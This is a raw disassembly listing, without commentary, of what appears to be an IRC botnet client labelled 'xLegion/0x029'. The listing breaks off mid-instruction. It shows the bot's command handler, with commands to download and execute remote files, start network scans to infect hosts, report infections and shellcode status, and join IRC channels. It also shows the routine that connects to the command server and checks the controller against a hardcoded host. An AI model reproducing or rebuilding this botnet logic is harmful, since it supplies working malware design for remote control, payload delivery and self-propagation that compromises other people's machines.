arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4042E0 push offset sub_409A50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1D0h push ebx push esi push edi mov [ebp+var_18], esp wait and [ebp+var_4], 0 mov esi, offset asc_401614 ; " " push esi mov edi, [ebp+arg_0] push dword ptr [edi+0Ch] call sub_409A44 ; strtok pop ecx pop ecx mov ebx, eax mov [ebp+var_9C], ebx mov [ebp+var_1C], 1 loc_4043B0: ; CODE XREF: sub_404360+73j cmp [ebp+var_1C], 20h jge short loc_4043D5 push esi push 0 call sub_409A44 ; strtok pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx*4+var_9C], eax inc [ebp+var_1C] mov ebx, [ebp+var_9C] jmp short loc_4043B0 ; --------------------------------------------------------------------------- loc_4043D5: ; CODE XREF: sub_404360+54j push offset a_bot_die ; ".bot.die" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4043FF push offset aQuitGodHatesUs ; "QUIT :god hates us all\r\n" call sub_404C8D pop ecx call dword_40119C ; WSACleanup push 1 call dword_401084 ; ExitProcess loc_4043FF: ; CODE XREF: sub_404360+84j push offset a_bot_uptime ; ".bot.uptime" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40441A call sub_4093DC jmp loc_404AED ; --------------------------------------------------------------------------- loc_40441A: ; CODE XREF: sub_404360+AEj push offset a_bot_os ; ".bot.os" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404435 call sub_4094D4 jmp loc_404AED ; --------------------------------------------------------------------------- loc_404435: ; CODE XREF: sub_404360+C9j push offset a_bot_ip ; ".bot.ip" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404462 push ds:dword_409ECC call sub_4073A9 pop ecx push eax push dword ptr [edi+4] push dword ptr [edi] push offset dword_4015A8 jmp loc_404AF8 ; --------------------------------------------------------------------------- loc_404462: ; CODE XREF: sub_404360+E4j push offset a_bot_sysinfo ; ".bot.sysinfo" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40447D call sub_40959B jmp loc_404AED ; --------------------------------------------------------------------------- loc_40447D: ; CODE XREF: sub_404360+111j push offset a_ftpd_status ; ".ftpd.status" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4044B8 push ds:dword_409F08 movzx eax, ds:word_409D50 push eax push ds:dword_409ECC call sub_4073A9 pop ecx push eax push dword ptr [edi+4] push dword ptr [edi] push offset dword_401538 jmp loc_404B5F ; --------------------------------------------------------------------------- loc_4044B8: ; CODE XREF: sub_404360+12Cj push offset a_irc_join ; ".irc.join" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax mov esi, [ebp+var_98] jnz short loc_4044E1 test esi, esi jz short loc_4044E1 push esi push offset aJoinS ; "JOIN %s\r\n" loc_4044D9: ; CODE XREF: sub_404360+19Cj call sub_404C8D pop ecx jmp short loc_404520 ; --------------------------------------------------------------------------- loc_4044E1: ; CODE XREF: sub_404360+16Dj ; sub_404360+171j push offset a_irc_part ; ".irc.part" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4044FE test esi, esi jz short loc_4044FE push esi push offset aPartS ; "PART %s\r\n" jmp short loc_4044D9 ; --------------------------------------------------------------------------- loc_4044FE: ; CODE XREF: sub_404360+190j ; sub_404360+194j push offset a_irc_jump ; ".irc.jump" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404526 and ds:byte_409EC8, al push ds:dword_409F18 call sub_40867A loc_404520: ; CODE XREF: sub_404360+17Fj pop ecx jmp loc_404B67 ; --------------------------------------------------------------------------- loc_404526: ; CODE XREF: sub_404360+1ADj push offset a_download_http ; ".download.http" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz loc_4046BD test esi, esi jz loc_4046BD cmp [ebp+var_94], eax jz loc_4046BD and byte ptr [ebp+var_A4], al and byte ptr [ebp+var_AC], al push offset aExec ; "-exec" push [ebp+var_90] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40457A mov byte ptr [ebp+var_A4], 1 jmp short loc_404597 ; --------------------------------------------------------------------------- loc_40457A: ; CODE XREF: sub_404360+20Fj push offset aUpd ; "-upd" push [ebp+var_90] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404597 mov byte ptr [ebp+var_AC], 1 loc_404597: ; CODE XREF: sub_404360+218j ; sub_404360+22Ej mov ebx, dword_401080 call ebx ; dword_401080 mov [ebp+var_A8], eax push [ebp+var_AC] push [ebp+var_A4] push [ebp+var_94] push [ebp+var_98] call sub_40870A add esp, 10h mov esi, eax mov [ebp+var_A0], esi test esi, esi jz loc_4046A8 call ebx ; dword_401080 mov [ebp+var_B0], eax sub eax, [ebp+var_A8] mov dword ptr [ebp+var_1D8], eax and dword ptr [ebp+var_1D8+4], 0 fild [ebp+var_1D8] fmul flt_4042D8 fst [ebp+var_BC] fcom flt_4042D4 fnstsw ax sahf jnz short loc_404617 fstp st fld1 fst [ebp+var_BC] loc_404617: ; CODE XREF: sub_404360+2ABj mov dword ptr [ebp+var_1E0], esi and dword ptr [ebp+var_1E0+4], 0 fild [ebp+var_1E0] fdiv st, st(1) fst [ebp+var_B4] fmul flt_4042D0 fstp [ebp+var_B8] cmp byte ptr [ebp+var_A4], 0 fld [ebp+var_B8] jnz short loc_404680 call sub_409A90 ; _ftol push eax call sub_409A90 ; _ftol push eax shr esi, 0Ah push esi push [ebp+var_94] push [ebp+var_98] push dword ptr [edi+4] push dword ptr [edi] push offset dword_401478 loc_404673: ; CODE XREF: sub_404360+346j call sub_404C8D add esp, 20h jmp loc_404B67 ; --------------------------------------------------------------------------- loc_404680: ; CODE XREF: sub_404360+2EBj call sub_409A90 ; _ftol push eax call sub_409A90 ; _ftol push eax shr esi, 0Ah push esi push [ebp+var_94] push [ebp+var_98] push dword ptr [edi+4] push dword ptr [edi] push offset dword_401408 jmp short loc_404673 ; --------------------------------------------------------------------------- loc_4046A8: ; CODE XREF: sub_404360+26Fj push [ebp+var_98] push dword ptr [edi+4] push dword ptr [edi] push offset unk_4013D4 jmp loc_404AF8 ; --------------------------------------------------------------------------- loc_4046BD: ; CODE XREF: sub_404360+1D5j ; sub_404360+1DDj ... push offset a_scan_start ; ".scan.start" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz loc_40497E cmp esi, eax jz loc_404B67 cmp [ebp+var_94], eax jz loc_404B67 cmp [ebp+var_90], eax jz loc_404B67 cmp [ebp+var_8C], eax jz loc_404B67 cmp [ebp+var_88], eax jz loc_404B67 cmp [ebp+var_84], eax jz loc_404B67 mov ebx, offset aScanner ; "Scanner" push ebx call sub_409783 pop ecx test eax, eax jnz loc_404B67 push offset aE ; "-e" push esi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404782 push 5 push 2 call sub_409957 pop ecx pop ecx mov [ebp+var_1C], eax mov ecx, eax imul ecx, 2Ch mov cx, word ptr dword_402F50[ecx] mov ds:word_409EEC, cx loc_40475C: ; CODE XREF: sub_404360+470j mov ds:dword_409EF0, eax loc_404761: ; CODE XREF: sub_404360+44Aj cmp ds:word_409EEC, 0 jnz short loc_4047D7 push dword ptr [edi+4] push dword ptr [edi] push offset unk_40137C call sub_404C8D add esp, 0Ch jmp loc_404B67 ; --------------------------------------------------------------------------- loc_404782: ; CODE XREF: sub_404360+3D9j push esi call sub_409A38 ; atoi pop ecx mov ds:word_409EEC, ax and ds:dword_409EF0, 0 and [ebp+var_1C], 0 loc_40479A: ; CODE XREF: sub_404360+475j mov eax, [ebp+var_1C] imul eax, 2Ch lea esi, dword_402F50[eax] cmp word ptr [esi], 0 jz short loc_404761 push [ebp+var_98] lea eax, dword_402F38[eax] push eax call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4047D2 mov ax, [esi] mov ds:word_409EEC, ax mov eax, [ebp+var_1C] jmp short loc_40475C ; --------------------------------------------------------------------------- loc_4047D2: ; CODE XREF: sub_404360+462j inc [ebp+var_1C] jmp short loc_40479A ; --------------------------------------------------------------------------- loc_4047D7: ; CODE XREF: sub_404360+409j push offset aS_0 ; "-s" push [ebp+var_94] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz loc_40487E push 10h pop eax call sub_409A60 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_C0], esi push 10h push ds:dword_409ECC call sub_4073A9 pop ecx push eax push esi call sub_409A32 ; strncpy add esp, 0Ch mov [ebp+var_C4], esi test esi, esi jz loc_404B67 mov eax, offset a_ ; "." push eax push eax push esi call sub_409A2C ; strstr pop ecx pop ecx inc eax push eax call sub_409A2C ; strstr pop ecx pop ecx mov [ebp+var_C8], eax test eax, eax jz loc_404B67 and byte ptr [eax+1], 0 push 0 push 0 push esi push offset aSD_D ; "%s%d.%d" push 10h push esi call sub_409A26 ; _snprintf add esp, 18h push esi call dword_401198 ; inet_addr mov ds:dword_409EE8, eax push esi call sub_409A20 ; free pop ecx jmp short loc_4048AC ; --------------------------------------------------------------------------- loc_40487E: ; CODE XREF: sub_404360+48Bj push offset asc_401368 ; "-x" push [ebp+var_94] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40489B call sub_407381 jmp short loc_4048A7 ; --------------------------------------------------------------------------- loc_40489B: ; CODE XREF: sub_404360+532j push [ebp+var_94] call dword_401198 ; inet_addr loc_4048A7: ; CODE XREF: sub_404360+539j mov ds:dword_409EE8, eax loc_4048AC: ; CODE XREF: sub_404360+51Cj push [ebp+var_90] call sub_409A38 ; atoi mov ds:dword_409EF8, eax mov [esp+0Ch+var_C], offset aR_0 ; "-r" push [ebp+var_8C] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4048DC and ds:dword_409F00, eax jmp short loc_404900 ; --------------------------------------------------------------------------- loc_4048DC: ; CODE XREF: sub_404360+572j push offset asc_401368 ; "-x" push [ebp+var_8C] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz loc_404B67 mov ds:dword_409F00, 1 loc_404900: ; CODE XREF: sub_404360+57Aj push [ebp+var_88] call sub_409A38 ; atoi pop ecx mov ds:dword_409EFC, eax test eax, eax jge short loc_40491A mov eax, 80h loc_40491A: ; CODE XREF: sub_404360+5B3j mov ds:dword_409EFC, eax mov ecx, 1002h cmp eax, ecx jle short loc_40492A mov eax, ecx loc_40492A: ; CODE XREF: sub_404360+5C6j mov ds:dword_409EFC, eax push [ebp+var_84] call sub_409A38 ; atoi pop ecx mov ds:dword_409EF4, eax and ds:byte_409F04, 0 cmp [ebp+var_80], 0 jz short loc_404967 push offset asc_401360 ; "-l" push [ebp+var_80] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404967 mov ds:byte_409F04, 1 loc_404967: ; CODE XREF: sub_404360+5EBj ; sub_404360+5FEj push ebx push 1 push offset dword_409EE8 push offset loc_4074FC call sub_40960A jmp loc_404AFD ; --------------------------------------------------------------------------- loc_40497E: ; CODE XREF: sub_404360+36Cj push offset a_scan_current ; ".scan.current" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4049BE push offset aScanner ; "Scanner" call sub_409783 pop ecx test eax, eax jz loc_404B67 push ds:dword_409D48 call sub_4073A9 pop ecx push eax push dword ptr [edi+4] push dword ptr [edi] push offset dword_401314 jmp loc_404AF8 ; --------------------------------------------------------------------------- loc_4049BE: ; CODE XREF: sub_404360+62Dj push offset a_scan_stop ; ".scan.stop" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404A2E mov ebx, offset aScanner ; "Scanner" push ebx call sub_409783 pop ecx test eax, eax jz loc_404B67 and ds:byte_409ED0, 0 push 1388h call dword_40107C ; Sleep push ebx call sub_409783 push eax call sub_40971A push ds:dword_409D48 call sub_4073A9 add esp, 0Ch push eax push dword ptr [edi+4] push dword ptr [edi] push offset dword_4012D0 call sub_404C8D add esp, 10h and ds:dword_409D48, 0 jmp loc_404B67 ; --------------------------------------------------------------------------- loc_404A2E: ; CODE XREF: sub_404360+66Dj push offset a_scan_infected ; ".scan.infected" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz loc_404B02 xor ebx, ebx mov [ebp+var_14C], ebx push offset dword_4012AC mov esi, 80h push esi lea eax, [ebp+var_148] push eax call sub_409A26 ; _snprintf add esp, 0Ch mov [ebp+var_1C], ebx loc_404A68: ; CODE XREF: sub_404360+756j mov eax, [ebp+var_1C] imul eax, 2Ch cmp word ptr dword_402F50[eax], bx jz short loc_404AB8 mov ecx, dword_402F58[eax] add [ebp+var_14C], ecx push off_402F4C[eax] push ecx push offset dword_40129C push esi lea eax, [ebp+var_1CC] push eax call sub_409A26 ; _snprintf push esi lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_148] push eax call sub_409A1A ; strncat add esp, 20h inc [ebp+var_1C] jmp short loc_404A68 ; --------------------------------------------------------------------------- loc_404AB8: ; CODE XREF: sub_404360+715j push [ebp+var_14C] push offset dword_401284 push esi lea eax, [ebp+var_1CC] push eax call sub_409A26 ; _snprintf push esi lea eax, [ebp+var_1CC] push eax lea eax, [ebp+var_148] push eax call sub_409A1A ; strncat add esp, 1Ch lea eax, [ebp+var_148] loc_404AED: ; CODE XREF: sub_404360+B5j ; sub_404360+D0j ... push eax push dword ptr [edi+4] push dword ptr [edi] push offset aSSS ; "%s %s :%s\r\n" loc_404AF8: ; CODE XREF: sub_404360+FDj ; sub_404360+358j ... call sub_404C8D loc_404AFD: ; CODE XREF: sub_404360+619j add esp, 10h jmp short loc_404B67 ; --------------------------------------------------------------------------- loc_404B02: ; CODE XREF: sub_404360+6DDj push offset a_shellcode_sta ; ".shellcode.status" push ebx call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404B67 xor ecx, ecx mov [ebp+var_1D0], ecx and [ebp+var_1C], ecx loc_404B1E: ; CODE XREF: sub_404360+7DDj mov eax, [ebp+var_1C] imul eax, 2Ch cmp word ptr dword_402F50[eax], 0 jz short loc_404B3F add ecx, dword_402F58[eax] mov [ebp+var_1D0], ecx inc [ebp+var_1C] jmp short loc_404B1E ; --------------------------------------------------------------------------- loc_404B3F: ; CODE XREF: sub_404360+7CCj push ecx movzx eax, ds:word_409ED2 push eax push ds:dword_409ECC call sub_4073A9 pop ecx push eax push dword ptr [edi+4] push dword ptr [edi] push offset dword_401210 loc_404B5F: ; CODE XREF: sub_404360+153j call sub_404C8D add esp, 18h loc_404B67: ; CODE XREF: sub_404360+1C1j ; sub_404360+31Bj ... wait jmp short loc_404B71 ; --------------------------------------------------------------------------- dw 16Ah dd 658BC358h db 0E8h ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_404360+808j or [ebp+var_4], 0FFFFFFFFh lea esp, [ebp-1ECh] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_404360 endp ; --------------------------------------------------------------------------- dw 8B56h dd 33082474h, 840E8AC0h, 801174C9h, 10740DF9h, 740AF980h dd 304C8A0Bh, 0EBEB4001h, 0C35EC603h, 8DC93357h, 148A303Ch dd 0DFA800Fh, 0FA800574h, 8007750Ah, 41000F24h, 0C103ECEBh dd 5EC6035Fh, 5C8B53C3h, 57560824h, 8B003B80h, 571B74FBh dd 0FFFFA9E8h, 59F08BFFh, 0E74F685h, 2E0E857h, 3E800000h dd 0FE8B5900h, 0E853E575h, 4E24h, 5B5E5F59h db 0C3h aSuvw db 'SUVW',0 ; DATA XREF: sub_404D6D+8Bo db 4 dd 0F6330000h, 4E8AE856h, 0C0850000h, 8B5E7459h, 14E8DF3h dd 73E85051h, 8B00004Eh, 0FF8559F8h, 6A4A7459h, 37848D00h dd 0FFFFFC00h, 35FF5053h, 409F18h, 11A415FFh, 0E88B0040h dd 2D74ED85h, 75FFFD83h, 0A015FF0Dh, 3D004011h, 2738h dd 48D1B75h, 0A4805737h, 0FFFC0028h, 62E800FFh, 57FFFFFFh dd 4DAFE8h, 0EB595900h, 0C258095h, 409Fh, 1F5E8h, 0FF006A00h dd 40108815h, 5D5E5F00h db 5Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C8D proc near ; CODE XREF: sub_404360+8Bp ; sub_404360:loc_4044D9p ... var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4042F0 push offset sub_409A50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi mov [ebp+var_4], edi lea eax, [ebp+arg_4] mov [ebp+var_21C], eax lea eax, [ebp+arg_4] push eax push [ebp+arg_0] lea eax, [ebp+var_218] push eax call sub_409AA8 ; vsprintf add esp, 0Ch mov [ebp+var_21C], edi mov esi, dword_401080 call esi ; dword_401080 mov ecx, eax sub ecx, ds:dword_409F14 mov eax, 3E8h cmp ecx, eax ja short loc_404D00 push eax call dword_40107C ; Sleep loc_404D00: ; CODE XREF: sub_404C8D+6Aj call esi ; dword_401080 mov ds:dword_409F14, eax or esi, 0FFFFFFFFh cmp ds:dword_409F18, esi jz short loc_404D38 push edi lea eax, [ebp+var_218] push eax call sub_409AA2 ; strlen pop ecx push eax lea eax, [ebp+var_218] push eax push ds:dword_409F18 call dword_4011A8 ; send test eax, eax jnz short loc_404D3F loc_404D38: ; CODE XREF: sub_404C8D+83j mov [ebp+var_4], esi xor al, al jmp short loc_404D5E ; --------------------------------------------------------------------------- loc_404D3F: ; CODE XREF: sub_404C8D+A9j lea eax, [ebp+var_218] push eax call sub_409A20 ; free pop ecx mov [ebp+var_4], esi jmp short loc_404D5C ; --------------------------------------------------------------------------- db 6Ah, 1, 58h dd 0E8658BC3h, 0FFFC4D83h ; --------------------------------------------------------------------------- loc_404D5C: ; CODE XREF: sub_404C8D+C2j mov al, 1 loc_404D5E: ; CODE XREF: sub_404C8D+B0j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_404C8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D6D proc near ; CODE XREF: sub_404E76+48p var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 114h push esi mov esi, [ebp+arg_0] imul esi, 1Ch push off_4016C8[esi] call sub_4091CA test eax, eax pop ecx jz loc_404E66 push 6 push 1 push 2 call dword_4011B4 ; socket test eax, eax mov ds:dword_409F18, eax jz loc_404E66 push off_4016C8[esi] call sub_4091CA pop ecx push eax call dword_401198 ; inet_addr mov [ebp+var_C], eax mov ax, word_4016CC[esi] push eax mov [ebp+var_10], 2 call dword_4011B0 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push ds:dword_409F18 call dword_4011AC ; connect cmp eax, 0FFFFFFFFh jz short loc_404E66 push offset aIrcread ; "IrcRead" push 1 push 0 push offset aSuvw ; "SUVW" call sub_40960A add esp, 10h test eax, eax jz short loc_404E66 push off_4016D0[esi] lea esi, off_4016D0[esi] call sub_409AA2 ; strlen test eax, eax pop ecx jz short loc_404E2D push dword ptr [esi] push offset aPassS ; "PASS %s\r\n" call sub_404C8D pop ecx pop ecx loc_404E2D: ; CODE XREF: sub_404D6D+B0j mov eax, ds:dword_409F10 push eax push offset aXlegion0x029 ; "xLegion/0x029" push eax push eax push eax push offset aUserSSSSNickS ; "USER %s %s %s :%s\r\nNICK %s\r\n" call sub_404C8D add esp, 18h lea eax, [ebp+var_114] push 0 push 104h push eax push ds:dword_409F18 call dword_4011A4 ; recv test eax, eax jnz short loc_404E6A loc_404E66: ; CODE XREF: sub_404D6D+1Ej ; sub_404D6D+37j ... xor al, al jmp short loc_404E73 ; --------------------------------------------------------------------------- loc_404E6A: ; CODE XREF: sub_404D6D+F7j mov ds:byte_409F0C, 1 mov al, 1 loc_404E73: ; CODE XREF: sub_404D6D+FBj pop esi leave retn sub_404D6D endp ; =============== S U B R O U T I N E ======================================= sub_404E76 proc near ; CODE XREF: sub_409022:loc_4090B7p push ebx xor ebx, ebx loc_404E79: ; CODE XREF: sub_404E76+52j cmp ds:byte_409F0C, bl jnz short loc_404ECA cmp dword_40397C, 0Bh jb short loc_404E92 mov dword_40397C, ebx jmp short loc_404E98 ; --------------------------------------------------------------------------- loc_404E92: ; CODE XREF: sub_404E76+12j inc dword_40397C loc_404E98: ; CODE XREF: sub_404E76+1Aj push 0Ah push 4 call sub_409957 push eax call sub_4098BE push dword_40397C mov ds:dword_409F10, eax mov ds:byte_409F0C, bl mov ds:byte_409EC8, bl call sub_404D6D add esp, 10h test al, al jz short loc_404E79 loc_404ECA: ; CODE XREF: sub_404E76+9j mov al, 1 pop ebx retn sub_404E76 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_404300 push offset sub_409A50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 3B4h push ebx push esi push edi mov [ebp-18h], esp and dword ptr [ebp-4], 0 mov edi, [ebp+8] push edi call sub_409AA2 ; strlen pop ecx add eax, 4 and al, 0FCh call sub_409A60 mov [ebp-18h], esp mov esi, esp mov [ebp-1B4h], esi test esi, esi jz loc_405368 push edi call sub_409AA2 ; strlen inc eax push eax lea eax, [edi+1] push eax push esi call sub_409A32 ; strncpy mov ebx, offset asc_401614 ; " " push ebx push edi call sub_409A44 ; strtok add esp, 18h mov [ebp-0B0h], eax mov dword ptr [ebp-2Ch], 1 loc_404F50: ; CODE XREF: code:00404F6Dj cmp dword ptr [ebp-2Ch], 20h jge short loc_404F6F push ebx push 0 call sub_409A44 ; strtok pop ecx pop ecx mov ecx, [ebp-2Ch] mov [ebp+ecx*4-0B0h], eax inc dword ptr [ebp-2Ch] jmp short loc_404F50 ; --------------------------------------------------------------------------- loc_404F6F: ; CODE XREF: code:00404F54j push offset aPing ; "PING" push dword ptr [ebp-0B0h] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404F9A push dword ptr [ebp-0ACh] push offset aPongS ; "PONG %s\r\n" call sub_404C8D jmp loc_4052FB ; --------------------------------------------------------------------------- loc_404F9A: ; CODE XREF: code:00404F83j push offset aKick ; "KICK" mov edi, [ebp-0ACh] push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404FF6 mov eax, dword_40397C imul eax, 1Ch push off_4016D4[eax] push dword ptr [ebp-0A8h] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_404FF6 mov eax, dword_40397C imul eax, 1Ch push off_4016D8[eax] push off_4016D4[eax] push offset aJoinSS ; "JOIN %s %s\r\n" call sub_404C8D add esp, 0Ch jmp loc_405368 ; --------------------------------------------------------------------------- loc_404FF6: ; CODE XREF: code:00404FAFj ; code:00404FCEj push offset a432 ; "432" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_40533B push offset a433 ; "433" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_40533B push offset a451 ; "451" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_40533B push offset a001 ; "001" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_40530D push offset a422 ; "422" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_40530D push offset a009 ; "009" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_40530D push offset a436 ; "436" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_4052FF push offset a436 ; "436" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_4052FF push offset a465 ; "465" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_4052FF push offset aError ; "ERROR" push dword ptr [ebp-0B0h] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz loc_4052FF push offset a332 ; "332" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_405132 push offset asc_40191C ; " :" push esi call sub_409A2C ; strstr pop ecx pop ecx sub eax, esi mov [ebp-30h], eax cmp eax, 1 jl loc_405368 lea eax, [eax+esi+2] mov [ebp-3B8h], eax mov eax, dword_40397C imul eax, 1Ch mov eax, off_4016D4[eax] mov [ebp-3C0h], eax mov dword ptr [ebp-3C4h], offset aPrivmsg ; "PRIVMSG" lea eax, [ebp-3C4h] push eax call sub_404360 jmp loc_4052FC ; --------------------------------------------------------------------------- loc_405132: ; CODE XREF: code:004050DCj mov [ebp-28h], edi mov eax, [ebp-0A8h] mov [ebp-24h], eax mov edi, 100h push edi push 0 lea eax, [ebp-2B4h] push eax call sub_409AB4 ; memset push edi push 0 lea eax, [ebp-3B4h] push eax call sub_409AB4 ; memset push edi push 0 lea eax, [ebp-1B0h] push eax call sub_409AB4 ; memset push offset asc_401910 ; "!" push esi call sub_409A2C ; strstr add esp, 2Ch mov edi, eax sub edi, esi mov [ebp-30h], edi cmp edi, 1 jl loc_405368 push edi push esi lea eax, [ebp-2B4h] push eax call sub_409A32 ; strncpy lea esi, [esi+edi+1] mov [ebp-1B4h], esi push offset a@_0 ; "@" push esi call sub_409A2C ; strstr add esp, 14h sub eax, esi mov [ebp-30h], eax cmp eax, 1 jl loc_405368 lea esi, [esi+eax+1] mov [ebp-1B4h], esi push ebx push esi call sub_409A2C ; strstr pop ecx pop ecx mov edi, eax sub edi, esi mov [ebp-30h], edi cmp edi, 1 jl loc_405368 push edi push esi lea eax, [ebp-3B4h] push eax call sub_409A32 ; strncpy push offset aMindleak_com ; "mindleak.com" lea eax, [ebp-3B4h] push eax call sub_4099AE add esp, 14h test al, al jz loc_405368 lea esi, [esi+edi+1] mov [ebp-1B4h], esi push offset asc_401908 ; ":" push esi call sub_409A2C ; strstr pop ecx pop ecx sub eax, esi mov [ebp-30h], eax push 1 pop edi cmp eax, edi jl loc_405368 lea esi, [esi+eax+1] mov [ebp-1B4h], esi push esi lea eax, [ebp-1B0h] push eax call sub_409AAE ; strcpy push ebx lea eax, [ebp-1B0h] push eax call sub_409A44 ; strtok add esp, 10h mov [ebp-0B0h], eax mov [ebp-2Ch], edi loc_405266: ; CODE XREF: code:00405283j cmp dword ptr [ebp-2Ch], 2 jge short loc_405285 push ebx push 0 call sub_409A44 ; strtok pop ecx pop ecx mov ecx, [ebp-2Ch] mov [ebp+ecx*4-0B0h], eax inc dword ptr [ebp-2Ch] jmp short loc_405266 ; --------------------------------------------------------------------------- loc_405285: ; CODE XREF: code:0040526Aj push ds:dword_409F10 mov edi, [ebp-0B0h] push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz short loc_4052C4 push offset asc_401904 ; "*" push edi call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jz short loc_4052C4 push edi push ds:dword_409F10 call sub_4099AE pop ecx pop ecx test al, al jz loc_405368 loc_4052C4: ; CODE XREF: code:0040529Bj ; code:004052ACj push ds:dword_409F10 push dword ptr [ebp-24h] call sub_409A3E ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_4052E1 lea eax, [ebp-2B4h] mov [ebp-24h], eax loc_4052E1: ; CODE XREF: code:004052D6j push edi call sub_409AA2 ; strlen lea eax, [eax+esi+1] mov [ebp-1Ch], eax and byte ptr [ebp-20h], 0 lea eax, [ebp-28h] push eax call sub_404360 loc_4052FB: ; CODE XREF: code:00404F95j pop ecx loc_4052FC: ; CODE XREF: code:0040512Dj pop ecx jmp short loc_405368 ; --------------------------------------------------------------------------- loc_4052FF: ; CODE XREF: code:00405083j ; code:00405098j ... push ds:dword_409F18 call dword_4011B8 ; closesocket jmp short loc_405368 ; --------------------------------------------------------------------------- loc_40530D: ; CODE XREF: code:00405044j ; code:00405059j ... mov eax, dword_40397C imul eax, 1Ch push off_4016D8[eax] push off_4016D4[eax] push offset aJoinSS ; "JOIN %s %s\r\n" call sub_404C8D add esp, 0Ch test al, al jz short loc_405368 mov ds:byte_409EC8, 1 jmp short loc_405368 ; --------------------------------------------------------------------------- loc_40533B: ; CODE XREF: code:00405005j ; code:0040501Aj ... push 0Ah push 4 call sub_409957 push eax call sub_4098BE add esp, 0Ch mov ds:dword_409F10, eax push eax push offset aXlegion0x029 ; "xLegion/0x029" push eax push eax push eax push offset aUserSSSSNickS ; "USER %s %s %s :%s\r\nNICK %s\r\n" call sub_404C8D add esp, 18h loc_405368: ; CODE XREF: code:00404F1Cj ; code:00404FF1j ... push esi call sub_409A20 ; free pop ecx jmp short loc_405378 ; --------------------------------------------------------------------------- db 6Ah, 1, 58h dd 0E8658BC3h ; --------------------------------------------------------------------------- loc_405378: ; CODE XREF: code:0040536Fj or dword ptr [ebp-4], 0FFFFFFFFh lea esp, [ebp-3D0h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405391: ; DATA XREF: code:off_402F54o push ebp mov ebp, esp mov eax, 1A18h call sub_409A60 push ebx push esi push edi mov edi, [ebp+8] push 2 push dword ptr [edi+8] call sub_4092ED xor esi, esi pop ecx cmp eax, esi pop ecx mov [ebp-8], eax jz loc_405677 cmp eax, 1 jz loc_405677 mov eax, [edi+4] push 7 imul eax, 2Ch push offset a__ ; "\r\n\\_/." push dword_402F5C[eax] mov ax, ds:word_409ED2 push eax lea 